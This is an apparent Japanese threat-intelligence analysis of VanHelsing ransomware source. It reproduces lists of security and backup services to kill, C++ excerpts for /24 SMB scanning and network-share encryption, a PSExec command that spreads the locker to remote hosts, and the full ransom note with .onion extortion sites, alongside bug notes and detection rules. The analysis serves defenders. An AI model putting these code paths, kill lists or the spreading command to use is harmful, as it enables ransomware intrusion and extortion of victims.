mfefire McAfee Firewall
EraserSvc11710 ESET
EhttpSrv ESET HTTP Server
ekrn ESET Kernel
ESHASRV ESET
MBAMService Malwarebytes
MBEndpointAgent Malwarebytes Endpoint
TmCCSF Trend Micro
tmlisten Trend Micro
ntrtscan Trend Micro OfficeScan
ShMonitor Avast
Antivirus 汎用
WRSVC Webroot

swi_*(Sophos Web Intelligence)

サービス名 製品
swi_filter Sophos Web Intelligence
swi_service Sophos Web Intelligence
swi_update_64 Sophos Web Intelligence
swi_update Sophos Web Intelligence

データベース — MSSQL (30エントリ)

サービス名 用途
MSSQL$BKUPEXEC BackupExec用インスタンス
MSSQL$ECWDB2 eClinicalWorks用
MSSQL$PRACTICEMGT Practice Management用
MSSQL$PRACTTICEBGC Practice BGC用
MSSQL$PROFXENGAGEMENT ProFx Engagement用
MSSQL$SBSMONITORING SBS Monitoring用
MSSQL$SHAREPOINT SharePoint用
MSSQL$SQL_2008 SQL Server 2008
MSSQL$SYSTEM_BGC System BGC用
MSSQL$TPS TPS用
MSSQL$TPSAMA TPSAMA用
MSSQL$VEEAMSQL2008R2 Veeam SQL 2008 R2 (重複あり)
MSSQL$VEEAMSQL2012 Veeam SQL 2012
MSSQL$PROD 本番環境
MSSQL$SOPHOS Sophos用
MSSQL$SQLEXPRESS SQL Server Express
MSSQLSERVER デフォルトインスタンス
MSSQLFDLauncher Full-Text Daemon Launcher
MSSQLFDLauncher$PROFXENGAGEMENT 同上(名前付き)
MSSQLFDLauncher$SBSMONITORING 同上
MSSQLFDLauncher$SHAREPOINT 同上
MSSQLFDLauncher$SQL_2008 同上
MSSQLFDLauncher$SYSTEM_BGC 同上
MSSQLFDLauncher$TPS 同上
MSSQLFDLauncher$TPSAMA 同上
MSSQLServerADHelper100 AD Helper
MSSQLServerADHelper AD Helper(旧バージョン)
MSSQLServerOLAPService OLAP Service
MySQL80 MySQL 8.0
MySQL57 MySQL 5.7

データベース — SQL Agent (14エントリ)

サービス名
SQLAgent$BKUPEXEC, SQLAgent$ECWDB2, SQLAgent$PRACTTICEBGC
SQLAgent$PRACTTICEMGT, SQLAgent$PROFXENGAGEMENT, SQLAgent$SBSMONITORING
SQLAgent$SHAREPOINT, SQLAgent$SQL_2008, SQLAgent$SYSTEM_BGC
SQLAgent$TPS, SQLAgent$TPSAMA, SQLAgent$VEEAMSQL2008R2 (重複)
SQLAgent$VEEAMSQL2012, SQLAgent$CXDB, SQLAgent$CITRIX_METAFRAME
SQLAgent$PROD, SQLAgent$SOPHOS, SQLAgent$SQLEXPRESS
SQLSERVERAGENT, SQLBrowser, SQLWriter

データベース — OLAP/Reporting/Telemetry

サービス名
MSOLAP$SQL_2008, MSOLAP$SYSTEM_BGC, MSOLAP$TPS, MSOLAP$TPSAMA
ReportServer, ReportServer$SQL_2008, ReportServer$SYSTEM_BGC
ReportServer$TPS, ReportServer$TPSAMA
SQLTELEMETRY, SQLTELEMETRY$ECWDB2
MsDtsServer, MsDtsServer100, MsDtsServer110
msftesql$PROD

メール/Web/その他インフラ

サービス名 製品
MSExchangeES Exchange Event Service
MSExchangeIS Exchange Information Store
MSExchangeMGMT Exchange Management
MSExchangeMTA Exchange MTA
MSExchangeSA Exchange System Attendant
MSExchangeSRS Exchange SRS
IISAdmin IIS Admin
W3Svc IIS Web Service
IMAP4Svc IMAP4
POP3Svc POP3
SMTPSvc SMTP

その他

サービス名 用途
Enterprise Client Service 企業クライアント
ARSM 不明
bedbg Veritas関連デバッグ
DCAgent ドメインコントローラーエージェント
EPSecurityService Endpoint Security
EPUpdateService Endpoint Update
EsgShKernel 不明
FA_Scheduler 不明
macmnsvc McAfee関連
masvc McAfee Agent
MMS Microsoft Monitoring
NetMsmqActivator MSMQ Activator
OracleClientCache80 Oracle Client
PDVFSService 不明
RESvc Exchange Replication
sacsvr Special Administration Console
SamSs Security Account Manager
SntpService SNTP Time Sync
SstpSvc SSTP VPN
svcGenericHost 汎用ホスト
TrueKey Intel TrueKey
TrueKeyScheduler Intel TrueKey
TrueKeyServiceHelper Intel TrueKey
UI0Detect Interactive Services Detection

プロセス終了対象 — 全44エントリ (processs.cpp:95-105)

zoolz.exe, agntsvc.exe, dbeng50.exe, dbsnmp.exe, encsvc.exe,
excel.exe, firefoxconfig.exe, infopath.exe, isqlplussvc.exe,
msaccess.exe, msftesql.exe, mspub.exe, mydesktopqos.exe,
mydesktopservice.exe, mysqld.exe, mysqld-nt.exe, mysqld-opt.exe,
ocautoupds.exe, ocomm.exe, ocssd.exe, onenote.exe, oracle.exe,
outlook.exe, powerpnt.exe, sqbcoreservice.exe, sqlagent.exe,
sqlbrowser.exe, sqlservr.exe, sqlwriter.exe, steam.exe,
synctime.exe, tbirdconfig.exe, thebat.exe, thebat64.exe,
thunderbird.exe, visio.exe, winword.exe, wordpad.exe,
xfssvccon.exe, tmlisten.exe, PccNTMon.exe, CNTAoSMgr.exe,
Ntrtscan.exe, mbamtray.exe

カテゴリ別分類:

カテゴリ プロセス
Office excel.exe, msaccess.exe, mspub.exe, onenote.exe, outlook.exe, powerpnt.exe, visio.exe, winword.exe, wordpad.exe, infopath.exe
メール thebat.exe, thebat64.exe, thunderbird.exe, tbirdconfig.exe
データベース dbeng50.exe, dbsnmp.exe, mysqld.exe, mysqld-nt.exe, mysqld-opt.exe, oracle.exe, sqbcoreservice.exe, sqlagent.exe, sqlbrowser.exe, sqlservr.exe, sqlwriter.exe, msftesql.exe, isqlplussvc.exe, ocssd.exe, ocomm.exe
セキュリティ tmlisten.exe, PccNTMon.exe, CNTAoSMgr.exe, Ntrtscan.exe, mbamtray.exe, agntsvc.exe, encsvc.exe
バックアップ zoolz.exe
その他 steam.exe, firefoxconfig.exe, mydesktopqos.exe, mydesktopservice.exe, ocautoupds.exe, synctime.exe, xfssvccon.exe

8.3 停止対象の戦術的分析

バックアップソフト(復旧手段の排除)— T1490

ベンダー 対象サービス数 目的
Veeam 11 (VeeamBackupSvc, VeeamBrokerSvc, VeeamCatalogSvc等) バックアップファイルのロック解除 + バックアップ作成阻止
Veritas BackupExec 7 (BackupExecAgentAccelerator等) 同上
Acronis 3 (AcrSch2Svc, AcronisAgent, Acronis VSS Provider) 同上
Idera SQLsafe 2 SQL Serverバックアップの阻止

なぜVeeamが最多の11サービスか: Veeamはエンタープライズ環境で最も普及しているバックアップソリューションの一つであり、多数のマイクロサービスで構成されている。すべてのサービスを停止しないとバックアップファイル(.vbk, .vib, .vrb)のロックが完全には解除されない。Veeamのドキュメントでも、Veeam関連ファイルをランサムウェアから保護するための「イミュータブルバックアップ」機能を推奨している。

セキュリティソフト(検知の無力化)— T1562.001

ベンダー 対象サービス/プロセス数 製品
Sophos 14サービス Endpoint Protection, AutoUpdate, Clean, DeviceControl, FileScanner, Health, MCS Agent等
Kaspersky 5サービス (AVP, klnagent, KAVFS, KAVFSGT, kavfsslp) Endpoint Security
McAfee/Trellix 4サービス + 重複1 Engine, Framework, TaskManager
Trend Micro 4サービス + 3プロセス Deep Security, OfficeScan
ESET 1サービス (EraserSvc11710) Endpoint Security
Malwarebytes 2サービス Endpoint Protection
Symantec/Broadcom 3サービス (SepMasterService, Symantec System Recovery等) Endpoint Protection

実装上の問題: McAfeeFrameworkの重複

L"McAfeeFramework", L"McAfeeFrameworkMcAfeeFramework",

"McAfeeFrameworkMcAfeeFramework" は明らかにコピー&ペーストミス。実在しないサービス名であるため、OpenService() が常に失敗するだけで害はないが、コードの品質管理の欠如を示す。

データベースサーバー(ファイルロック解除)

MSSQL$BKUPEXEC, MSSQL$ECWDB2, MSSQL$PRACTICEMGT, MSSQL$PRACTTICEBGC,
MSSQL$PROFXENGAGEMENT, MSSQL$SBSMONITORING, MSSQL$SHAREPOINT,
MSSQL$SQL_2008, MSSQL$SYSTEM_BGC, MSSQL$TPS, MSSQL$TPSAMA,
MSSQL$VEEAMSQL2008R2, MSSQL$VEEAMSQL2012, MSSQLSERVER,
MySQL80, MySQL57, Oracle*

なぜデータベースを停止するか: 実行中のデータベースはデータファイル(.mdf, .ldf, .ibd等)を排他的にロックしている。プロセスを停止しないとこれらのファイルにアクセスできず暗号化が失敗する。ブラックリストでコメントアウトされた .ldf / .ndf (SQL Serverのログ/セカンダリデータファイル)は現在暗号化対象となっており、データベースの復旧をトランザクションログレベルで不可能にすることを意図している。

命名パターンの情報価値: MSSQL$BKUPEXEC はBackupExec用のSQL Serverインスタンスであり、MSSQL$VEEAMSQL2008R2 はVeeam用のインスタンスである。これらの名前付きインスタンスの停止は、バックアップインフラのメタデータ(バックアップカタログ)を暗号化するための準備である。

8.3 プロセス停止対象の注目点

std::vector<std::wstring> processes = {
    // Office系(ファイルロック解除)
    L"excel.exe", L"msaccess.exe", L"mspub.exe", L"onenote.exe",
    L"outlook.exe", L"powerpnt.exe", L"visio.exe", L"winword.exe",
    L"wordpad.exe",

    // データベース
    L"mysqld.exe", L"mysqld-nt.exe", L"mysqld-opt.exe",
    L"oracle.exe", L"sqlservr.exe", L"sqlagent.exe",

    // セキュリティ
    L"tmlisten.exe", L"PccNTMon.exe", L"CNTAoSMgr.exe",
    L"Ntrtscan.exe", L"mbamtray.exe",

    // 注目
    L"steam.exe",          // ゲームプラットフォーム — なぜ?
    L"firefoxconfig.exe",  // Firefox設定ツール — 通常のfirefox.exeではない
};

steam.exe の停止理由: Steamは大量のゲームファイルを管理しており、起動中はゲームデータに対してファイルロックを保持する。また、Steamクライアントは常駐アプリケーションとしてCPUリソースを消費するため、暗号化の速度に影響する可能性がある。

firefoxconfig.exe: firefox.exe(ブラウザ本体)ではなく firefoxconfig.exe(設定ツール)が対象になっているのは、ブラウザ本体の終了を避けつつ設定ファイルのロックを解除する意図と推測される。ただし、これは他のランサムウェアのコードリストからのコピーであり、実際の有効性は疑問。

参考文献

[31] processs.cpp:3-125
[32] T1489 - Service Stop, T1562.001 - Disable or Modify Tools (MITRE ATT&CK)
[33] T1490 - Inhibit System Recovery (MITRE ATT&CK)


9. ネットワーク探索・SMB拡散

9.1 ネットワーク拡散の全体設計

VanHelsingのネットワーク機能は2つの独立した経路で動作する:

  1. NetLock()スレッド(デフォルト実行): --no-network 未指定時、暗号化と並行してネットワーク共有上のファイルを暗号化する。Locker自体のコピーや実行は行わない
  2. --spread-smbモード: ネットワーク共有の暗号化に加え、PSExecでリモートホストにLocker自体をコピー・実行して拡散する

9.2 EnumHosts() — ホスト列挙 (net.cpp:9-92)

BOOL net::EnumHosts()
{
    CHAR localHostname[MAX_PATH];
    gethostname(localHostname, sizeof(localHostname));

    // IPv4 TCPアドレスを解決(複数NIC対応)
    struct addrinfo hints = { 0 }, *res = nullptr;
    hints.ai_family = AF_INET;
    hints.ai_socktype = SOCK_STREAM;
    getaddrinfo(localHostname, nullptr, &hints, &res);

    for (struct addrinfo* ptr = res; ptr != nullptr; ptr = ptr->ai_next)
    {
        if (ptr->ai_family == AF_INET)
        {
            struct sockaddr_in* addr =
                reinterpret_cast<struct sockaddr_in*>(ptr->ai_addr);

            std::lock_guard<std::mutex> lock(ip_mutex);
            inet_ntop(AF_INET, &addr->sin_addr,
                     this->IP_NODE[ipnode_count].CurrentIp, ...);

            // ネットワークプリフィックスを抽出: 192.168.1.100 → 192.168.1.
            char* lastDot = strrchr(this->IP_NODE[ipnode_count].CurrentIp, '.');
            size_t prefixLength = lastDot
                - this->IP_NODE[ipnode_count].CurrentIp + 1;
            strncpy_s(this->IP_NODE[ipnode_count].mainIp,
                     this->IP_NODE[ipnode_count].CurrentIp, prefixLength);

            ipnode_count++;
        }
    }
    freeaddrinfo(res);

    // /24範囲の全ホスト(1-254)に対してSMBスキャンスレッドを起動
    for (int i = 0; i < ipnode_count; i++) {
        for (int d = 1; d < 255; d++) {
            auto* temp_param = new(std::nothrow) netparam{ i, d };
            snprintf(temp_param->temp_host, sizeof(temp_param->temp_host),
                    "%s%d", this->IP_NODE[i].mainIp, d);

            if (strcmp(this->IP_NODE[i].CurrentIp, temp_param->temp_host) != 0)
            {
                std::thread(ValidateSmbHosts, temp_param).detach();
                // 最大253スレッド/NICが同時起動
            }
            else
                delete temp_param;  // 自ホストはスキップ
        }
    }
    return TRUE;
}

/24固定スキャンの制約とOPSEC影響: サブネットマスクをOS設定から取得せず /24 を仮定している。これにより:

  • /16 ネットワーク(例: 10.0.0.0/16)では65,534ホスト中253ホストしかスキャンしない
  • /25 ネットワークでは範囲外のホストにスキャンが及ぶ
  • マルチNIC環境では各NIC のサブネットに対して個別にスキャンが実行される

GLIMPSの分析では「192.168.2.0/24範囲のスキャン」が確認されている[34]。

253並列スレッドのOPSEC影響: 253個のTCP SYNパケットが1-2秒以内にポート445に対して発生する。これは:

  • IDS/IPS: Suricata/Snortのポートスキャン検知ルール(threshold: type both, track by_src, count 25, seconds 60等)に即座に引っかかる
  • ファイアウォール: 異常なアウトバウンドSMB接続のバーストとして検出可能
  • ネットワークセグメンテーション: SMB(445)がセグメント間でブロックされていれば拡散は物理的に不可能

9.3 ValidateSmbHosts() — SMBポート検証 (net.cpp:98-170)

DWORD net::ValidateSmbHosts(LPVOID lparam)
{
    netparam* temp_param = reinterpret_cast<netparam*>(lparam);

    // 完了判定: 最後のホスト(254番目)到達時にフラグセット
    if ((instance->ipnode_count == (temp_param->EntryIpIndex + 1))
        && (temp_param->IdentifierIndex == 254))
    {
        instance->netEnum = TRUE;
    }

    // 非ブロッキングTCPソケット作成
    SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    u_long mode = 1;
    ioctlsocket(sock, FIONBIO, &mode);

    // SMBポート(445)への接続試行
    sockaddr_in addr = {};
    addr.sin_family = AF_INET;
    addr.sin_port = htons(445);
    inet_pton(AF_INET, temp_param->temp_host, &addr.sin_addr);

    int result = connect(sock, (sockaddr*)&addr, sizeof(addr));
    if (result == SOCKET_ERROR && WSAGetLastError() != WSAEWOULDBLOCK)
    {
        closesocket(sock);
        delete temp_param;
        return -1;
    }

    // select()で1秒以内の接続完了を判定
    fd_set writeSet;
    FD_ZERO(&writeSet);
    FD_SET(sock, &writeSet);
    timeval timeout = { 1, 0 };
    result = select(0, nullptr, &writeSet, nullptr, &timeout);

    if (result == 1) {
        // 接続成功 → スレッドセーフにホストリストに追加
        std::lock_guard<std::mutex> lock(validated_hosts_mutex);
        validated_hosts.push_back(temp_param->temp_host);
        printf("[+]\tSMB Host found: %s\n", temp_param->temp_host);
        sprintf(instance->IP_NODE[temp_param->EntryIpIndex]
                .ip_list[temp_param->IdentifierIndex],
                "%s", temp_param->temp_host);
    }

    closesocket(sock);
    delete temp_param;
    return 0;
}

バグ: 完了判定のレースコンディション

netEnum = TRUE の設定(行104-108)は、IdentifierIndex==254のスレッドが実行開始時に行われる。しかし、スレッドの実行順序は保証されないため、IdentifierIndex=254のスレッドが先に実行されてnetEnumがTRUEになった後、まだ実行中の他のスレッド(IdentifierIndex=1-253)のSMB検証結果が反映されない可能性がある。main.cppでは while (!_net->netEnum) { Sleep(1000); } でポーリングしているため、最終スレッドのID受信後すぐにGetSharedFolder()に進む可能性がある。

コメントアウトされた即時暗号化(net.cpp:161-164):

// Immediately enumerate shared folders on this SMB host
//WCHAR wide_temphost[16];
//ConvertToWideChar(temp_param->temp_host, wide_temphost, 16);
//instance->GetSharedFolder(wide_temphost);

当初は各SMBホスト発見直後にそのホストの共有を暗号化する設計だったが、現在はすべてのホスト検証完了後に一括で処理する方式に変更された。即時暗号化は共有列挙のRPCコールが253スレッドから同時に発生し、ネットワーク負荷とアラートの増大を招くため、変更されたと推測される。

9.4 GetSharedFolder() — 共有列挙と暗号化 (net.cpp:172-282)

DWORD net::GetSharedFolder(LPVOID lparam)
{
    unsigned char PUBLIC_KEY[crypto_box_PUBLICKEYBYTES];
    sodium_hex2bin(PUBLIC_KEY, ...);

    for (int i = 0; i < instance->ipnode_count; i++) {
        for (int d = 0; d < 255; d++) {
            if (strlen(instance->IP_NODE[i].ip_list[d]) == 0)
                continue;  // 未検証ホストはスキップ

            // NetShareEnum()でSMB共有を列挙
            LPSHARE_INFO_1 ShareInfoBuffer = nullptr;
            DWORD er = 0, tr = 0, resume = 0;
            NET_API_STATUS Result;

            do {
                Result = NetShareEnum(wide_temphost, 1,
                    (LPBYTE*)&ShareInfoBuffer,
                    MAX_PREFERRED_LENGTH, &er, &tr, &resume);

                if (Result == ERROR_SUCCESS || Result == ERROR_MORE_DATA) {
                    for (DWORD j = 0; j < er; j++) {
                        // ディスク共有のみ + システム共有($付き)を除外
                        if (ShareInfoBuffer[j].shi1_type == STYPE_DISKTREE &&
                            wcsstr(ShareInfoBuffer[j].shi1_netname, L"$") == nullptr)
                        {
                            WCHAR START_PATH[MAX_PATH * 2];
                            swprintf_s(START_PATH, L"\\\\%s\\%s\\",
                                wide_temphost, ShareInfoBuffer[j].shi1_netname);

                            diskmanagment _diskmanagment;
                            _diskmanagment.DirectorySearch(
                                START_PATH, PUBLIC_KEY, L"Normal");
                        }
                    }
                    NetApiBufferFree(ShareInfoBuffer);
                }
            } while (Result == ERROR_MORE_DATA);
        }
    }

    // Silentモードも同一処理を繰り返し(コード複製)
    if(isSilent == TRUE) {
        // 上記とほぼ同一のコードが50行にわたって複製されている
        // ただしモードが "Normal" のまま — "Silent"ではない
        // → SilentModeが呼ばれず、実質的に2回目の通常暗号化
    }

    NetFinished = TRUE;
    return 0;
}

バグ: Silentモードの実装ミス (net.cpp:226-275)

GetSharedFolder()内のSilentモード処理(行226-275)は、isSilent == TRUE の場合に再度ネットワーク共有を走査するが、DirectorySearchに渡すモードが L"Normal" のままである:

// net.cpp:267 — Silentセクション内
_diskmanagment.DirectorySearch(START_PATH, PUBLIC_KEY, L"Normal");
//                                                      "Silent"ではない

これは明らかなコピー&ペーストミスで、ネットワーク共有に対するSilentモード(拡張子変更のみ)が実際には通常暗号化として2回目の暗号化を試行する。ただし、1回目の暗号化で .vanhelsing 拡張子が付与されたファイルはブラックリストで除外されるため、実質的な二重暗号化は発生しない。結果として、2回目の走査は新規ファイル(1回目の処理中に作成されたファイル)のみを暗号化する。

9.5 フィルタリングの設計意図

STYPE_DISKTREE のみ対象: プリンタ共有(STYPE_PRINTQ)やIPC共有(STYPE_IPC)はファイルを持たないため暗号化不要。

$ を含む共有名の除外: C$, ADMIN$, IPC$ 等のデフォルト管理共有を除外。理由:

  • これらにアクセスするには管理者権限が必要で、権限不足による大量のアクセス拒否エラーが発生する
  • 管理共有へのアクセスはWindows Security EventID 5145で高優先度アラートになる
  • ADMIN$ の操作はPSExec拡散経路と競合する可能性がある

NETLOGON/sysvol の除外(main.cpp内、--spread-smb時のみ): Active Directoryドメインコントローラーの管理共有。暗号化するとドメイン認証・GPO配布が停止し、ネットワーク全体の管理機能が失われる。ランサムウェアとしてはAD基盤を破壊するとリモートLocker実行自体が不可能になるため、戦術的に除外。

参考文献

[34] https://www.glimps.re/en/resource/vanhelsing-our-cti-experts-publish-their-technicalanalysis/ (GLIMPS)
[35] net.cpp:9-282
[36] T1135 - Network Share Discovery, T1018 - Remote System Discovery (MITRE ATT&CK)


10. PSExecによるリモート実行

10.1 PSExec展開と拡散フロー (main.cpp:70-207)

--spread-smb フラグ指定時の完全なフローを以下に示す:

// main.cpp:70-85 — PSExec展開
if (isSpreadSmb == TRUE)
{
    net* _net = new net();

    // PSExec.exeをTempディレクトリに書き出し
    WCHAR temp_path[500];
    WCHAR psexec_path[1500];
    GetTempPathW(500, temp_path);
    swprintf_s(psexec_path, L"%s\\psexec.exe", temp_path);

    std::ofstream psexec(psexec_path, std::ios::binary | std::ios::trunc);
    psexec.write(reinterpret_cast<const char*>(psExec), psExecSize);
    psexec.close();
    // 716KBの正規PSExec.exeが%TEMP%\psexec.exeとして書き出される

OPSEC考察 — PSExec埋め込みの検知容易性: 埋め込みPSExecは圧縮も暗号化もされていないため、バイナリ全体のハッシュ比較で正規PSExecと一致する。また、ファイルに書き出された時点で以下の検知が可能:

  • EDR: %TEMP% への実行ファイル書き込み + 直後の実行パターン
  • AppLocker/WDAC: テンポラリフォルダからの実行をポリシーでブロック
  • YARA: PSExec固有の文字列(PsExec, PSEXESVC)のシグネチャ
  • Sysmon EventID 11: ファイル作成イベントで psexec.exe を検知
// main.cpp:165-196 — リモート実行ループ
for (int i = 0; i < _net->instance->ipnode_count; i++) {
    for (int d = 0; d < 255; d++) {
        if (strlen(_net->instance->IP_NODE[i].ip_list[d]) == 0)
            continue;

        WCHAR psExecCommand[660];
        swprintf_s(psExecCommand,
            L"cmd.exe /c %s -accepteula \\\\%s -c -f %s "
            L"-d --no-mounted --no-network < NUL",
            psexec_path, wide_temphost, ShareFilePath);

        Exec(psExecCommand);
        // Exec()はWaitForSingleObject(INFINITE)で同期実行
        // → 各ホストへの拡散は順次処理(並列ではない)
    }
}

OPSEC考察 — 順次実行の利点と欠点:

  • 利点: 並列実行と比較してネットワーク負荷が分散され、同時多発的なPSExecセッションの検知パターンを回避
  • 欠点: ホスト数 × PSExec実行時間(数十秒/ホスト)で拡散完了までの時間が大幅に増大。100台のホストへの拡散は数十分かかる可能性がある
  • Exec()の設計問題: WaitForSingleObject(INFINITE) でPSExec実行が完了するまで次のホストに進まない。リモートホストがダウンしている場合やPSExec接続がタイムアウトする場合、拡散全体が長時間ブロックされる

10.2 PSExecコマンドのOPSEC分析

cmd.exe /c %TEMP%\psexec.exe -accepteula \\<IP> -c -f \\<共有>\vanlocker.exe -d --no-mounted --no-network < NUL
オプション 目的 OPSEC影響
cmd.exe /c PSExecをcmd.exe経由で実行 プロセスツリーに cmd.exe → psexec.exe の親子関係が残る(検知ポイント)
-accepteula EULA承認ダイアログの抑制 レジストリに EulaAccepted キーが作成される(IOC)
-c ペイロードをリモートにコピー ADMIN$ 共有へのSMB書き込みが発生
-f 既存ファイルの上書き 以前のLockerコピーが存在しても上書き
-d デタッチ(プロセス完了を待たない) リモートLockerが独立して動作
< NUL 標準入力を空に PSExecの対話的プロンプトを回避

再帰拡散防止の設計: --no-mounted --no-network により、リモートLockerはローカルドライブのみ暗号化する。しかし、--Skipshadow が付与されていないため、各リモートホストでシャドウコピー削除が実行される。これは各ホストの復旧手段を個別に破壊する意図的設計。

10.3 PSExec悪用の検知

検知ポイント データソース Splunkルール
psexec.exe -accepteula コマンドライン Sysmon 1 / Security 4688 "Detect PsExec With accepteula Flag"
PSEXESVC サービス作成 Security 7045 "Detect Renamed PSExec"
ADMIN$ への実行ファイル書き込み Security 5145 "Executable File Written in Administrative SMB Share"
PSEXESVC-* 名前付きパイプ作成 Sysmon 17/18 "Windows PUA Named Pipe"
EulaAccepted レジストリ作成 Sysmon 13

参考文献

[37] main.cpp:70-207
[38] psExec.h:2-3
[39] https://www.hackthebox.com/blog/how-to-detect-psexec-and-lateral-movements (HackTheBox)


11. 壁紙変更・ランサムノート配置

11.1 ランサムノートの全文と分析 (common.cpp:46-98)

VOID Vanhelsing_DropReadMe(WCHAR* Path)
{
    // wstring_convert: C++17で非推奨、C++26で削除予定
    std::wstring_convert<std::codecvt_utf8<wchar_t>> converter;
    std::string strPath = converter.to_bytes(Path);

    CHAR TempReadMe[560];
    sprintf(TempReadMe, "%s\\README.txt", strPath.c_str());

    std::string Readme = R"(--= No news is a good news ! =--

Your network has been breached and all your files Personal data,
financial reports and important documents has been stolen, encrypted
and ready to publish to public,

if you willing to continue your bussines and make more money and keep
bussines secret safe you need to restore your files first, And to
restore all your files you have to pay the ransom in Bitcoin.
don't bother your self and wast your time or make it more harder on
your bussines, we developed a locker that can't be decrypted using
third part decrypters.

making your self geek and trying to restore the files with third part
decrypter this will leads to lose all your date ! and then the even
you pay the ransom can't help you to restore your files even us.

to chat with us :

1 - Download tor browser https://www.torproject.org/download/
2 - go to one of these links above
    http://vanhelcbxqt4tqie6fuevfng2bsdtxgc7xslo2yo7nitaacdfrlpxnqd.onion
    http://vanhelqmjstkvlhrjwzgjzpq422iku6wlggiz5y5r3rmfdeiaj3ljaid.onion
    http://vanhelsokskrlaacilyfmtuqqa5haikubsjaokw47f3pt3uoivh6cgad.onion
    http://vanheltarnbfjhuvggbncniap56dscnzz5yf6yjmxqivqmb5r2gmllad.onion

3 - you will be asked for your ticket id to enter the chat this for
    you : TICKET ID ca11d09d4d234ab8c9a9260c0905a421

usefull links :
#OUR TOR BLOG :
http://vanhelvuuo4k3xsiq626zkqvp6kobc2abry5wowxqysibmqs5yjh4uqd.onion
http://vanhelwmbf2bwzw7gmseg36qqm4ekc5uuhqbsew4eihzcahyq7sukzad.onion
http://vanhelxjo52qr2ixcmtjayqqrcodkuh36n7uq7q7xj23ggotyr3y72yd.onion)";

    // チケットIDの置換
    Readme = replaceString(Readme,
        "ca11d09d4d234ab8c9a9260c0905a421", TICKET_ID);

被害者が実際に目にするREADME.txtの全文

上記コード内のテンプレートに対し、replaceString() でチケットID(ca11d09d4d234ab8c9a9260c0905a421 → ビルダーが設定した TICKET_ID マクロの値)が置換される。以下は、置換後に各ディレクトリに配置されるREADME.txtの完全な内容である(チケットIDはビルドごとに異なる):

--= No news is a good news ! =--

Your network has been breached and all your  files Personal data, financial reports and important documents  has been stolen , encrypted and ready to publish to public,

if you willing to continue your bussines and make more money and keep bussines secret safe you need to restore your files first, And to restore all your files you have to pay the ransom in Bitcoin.
don't bother your self and wast your time or make it more harder on your bussines , we developed a locker that can't be decrypted using third part decrypters .

making your self geek and trying to restore the files with third part decrypter this will leads to lose all your date ! and then the even you pay the ransom can't help you to restore your files even us.

to chat with us :

1 - Download tor browser https://www.torproject.org/download/
2 - go to one of these links above
    http://vanhelcbxqt4tqie6fuevfng2bsdtxgc7xslo2yo7nitaacdfrlpxnqd.onion
    http://vanhelqmjstkvlhrjwzgjzpq422iku6wlggiz5y5r3rmfdeiaj3ljaid.onion
    http://vanhelsokskrlaacilyfmtuqqa5haikubsjaokw47f3pt3uoivh6cgad.onion
    http://vanheltarnbfjhuvggbncniap56dscnzz5yf6yjmxqivqmb5r2gmllad.onion

3 - you will be asked for your ticket id to enter the chat this for you : TICKET ID <ビルドごとのチケットID>

usefull links :
#OUR TOR BLOG :
http://vanhelvuuo4k3xsiq626zkqvp6kobc2abry5wowxqysibmqs5yjh4uqd.onion
http://vanhelwmbf2bwzw7gmseg36qqm4ekc5uuhqbsew4eihzcahyq7sukzad.onion
http://vanhelxjo52qr2ixcmtjayqqrcodkuh36n7uq7q7xj23ggotyr3y72yd.onion

上記はソースコード(common.cpp:55-79)のraw string literalから空白・タブを含めて完全に転写したものである。ドキュメント作成者による整形は行っていない。スペルミスや余分なスペースもソースコードの通りである。

脅迫文の分析

構成要素:

要素 内容 目的
冒頭メッセージ --= No news is a good news ! =-- 注意喚起
侵害の告知 ネットワーク侵入、データ窃取、暗号化の事実を通知 被害者に状況を認識させる
支払い要求 Bitcoinでの身代金支払いを要求 金銭的動機
第三者復号の警告 サードパーティの復号ツールでの復旧はデータ損失を招くと警告 被害者が独自に復旧を試みることを阻止
交渉用Torサイト(4サイト) vanhelcbx..., vanhelqmj..., vanhelsok..., vanheltar... 被害者との1対1交渉チャネル
チケットID TICKET ID <値> 被害者を一意に識別し交渉セッションに紐づけ
ブログ用Torサイト(3サイト) vanhelvuu..., vanhelwmb..., vanhelxjo... データリーク公開の脅迫(二重恐喝)

言語分析: 英文に多数のスペルミスと文法エラーが含まれている:

  • bussines → business(3箇所)
  • wast → waste
  • decrypters → decryptors
  • usefull → useful
  • your date → your data
  • the even you pay → even if you pay
  • 余分なスペースが散在(all your filesstolen , encrypted

これらはネイティブ英語話者ではない開発者が作成したことを強く示唆する。CIS諸国への攻撃禁止ポリシーと合わせ、ロシア語圏の開発者の関与が推測される。また、脅迫文のテンプレートが開発者自身によって書かれ、プロの翻訳者やネイティブチェックを経ていないことも伺える。LockBitなど成熟したRaaSでは、より洗練された英文の脅迫文が使用されるのとは対照的である。

Torサイトの冗長性設計: 交渉用4サイト + ブログ用3サイトの合計7つの.onionアドレスが記載されている。これは法執行機関によるテイクダウンに対する冗長性の確保であり、1つまたは複数のサイトが停止されても残りのサイトで交渉・脅迫を継続できる。交渉用サイトとブログ用サイトが分離されているのは、インフラの役割分離(被害者との非公開交渉 vs 一般公開のデータリーク)の設計である。

Torサイト構成: 4つの交渉用 .onion サイトと3つのブログ用 .onion サイトの合計7サイトが記載されている。交渉用サイトはチケットIDベースの認証で個別の被害者とチャットするインフラ、ブログ用サイトはデータリーク公開の脅迫に使用される(二重恐喝モデル)。

バグ: outFile.close()の二重呼び出し (common.cpp:87, 96)

    std::ofstream outFile(TempReadMe, std::ios::binary | std::ios::trunc);
    if (outFile.is_open()) {
        outFile << Readme << std::endl;
        outFile.close();                    // 1回目
    }
    // ...
    outFile.close();                        // 2回目(既にクローズ済み)

2回目の close() は既にクローズされたストリームに対する操作で、C++標準では未定義動作ではないが無意味な呼び出し。

11.2 壁紙変更の実装バグ (common.cpp:585-644)

VOID UpdateDesktopWallPaper(WCHAR* WallpaperPath)
{
    // PNG画像をC:\Windows\Web\vhlocker.pngに書き出し
    HANDLE hFile = CreateFileW(WallpaperPath, GENERIC_WRITE, ...);
    WriteFile(hFile, wallpaper, wallpaperSize, &writtenWallpaperBytes, NULL);
    CloseHandle(hFile);

    // レジストリに壁紙パスを設定
    HKEY Handle;
    RegOpenKeyW(HKEY_CURRENT_USER, REGISTERY_DESKTOP_WALLPAPER_PATH, &Handle);
    RegSetKeyValueW(Handle, NULL, L"WallPaper", REG_SZ,
                   (LPVOID)WallpaperPath, lstrlenW(WallpaperPath) * sizeof(wchar_t));

    // 壁紙を適用
    SystemParametersInfoW(SPI_SETDESKWALLPAPER, 0, NULL,
                          SPIF_UPDATEINIFILE | SPIF_SENDCHANGE);
    //                                         NULLが渡されている
}

